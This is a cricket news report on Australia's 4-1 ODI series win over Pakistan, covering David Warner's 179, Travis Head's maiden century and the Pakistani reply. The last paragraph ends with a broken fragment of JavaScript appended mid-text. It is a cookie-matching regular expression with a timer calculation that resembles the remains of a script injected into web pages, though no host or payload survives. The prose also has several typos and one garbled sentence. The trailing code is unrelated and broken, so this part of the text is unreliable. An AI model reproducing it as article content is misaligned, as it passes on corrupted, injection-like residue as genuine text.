David Warner blasted yet another century yesterday, As Australia completed a comprehensive win over Pakistan in the fifth and final ODI, to seal a 4-1 series win.
Warner smashed his fastest ever one-day international century (78 balls) as he hit an incredible 179, his second highest ODI score, after Australia won the toss and elected to bat first at Adelaide Oval.
The Australian vice-captain, fresh from winning his second Allan Border Medal earlier in the week, was at his brutal bet, smashing 19 fours and five sixes in an innings that lasted just 128 balls.
Travis Head and Warner shared in a 284-run opening stand, the largest ever partnership in Australian ODI history, as the former also notched a ton, his maiden century in green and gold, before he was eventually dismissed for 128.
Following Warner's wicket, which the fast to fall, after a 284-run opening stand in just 41 overs, Australia's middle order came to the crease with one objective; fast, aggressive batting.
That approach brought about the cheap demise of Smith, Maxwell, Wade, Handscomb and Starc, as Australia finished on 7-369. However, with plenty of wickets int he shed, the approach proved fruitful, with the hosts scoring 81 runs off the final eight overs.
In reply, Pakistan lost opener Azhar Ali for just six in the first over. However, Shajeel Khan and Babar Azam then shared in a 140 run partnership to put some pressure on the Aussies.
Shajeel eventually went for 79 and then Haffez fell for just three shortly after, with Mitchell Starc claiming the first three wickers.
Azam then reached triple figures, before being dismissed by Hazlewood for 100 with the score at 4-220 from 36 overs.
With the match delicately poised, it was Australia who once again took the advantage, as has been the case all summer, with Umar Akmal the only Pakistani batsman to trouble the bowlers in the final 10 overs, as he made a fighting 46, as the tourists ended their tour bowled out for 312 from 49.1 overs.
Starc finished with four wickets, while Cummins claimed two and Hazlewood, Faulkner and Zampa finished with one each. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
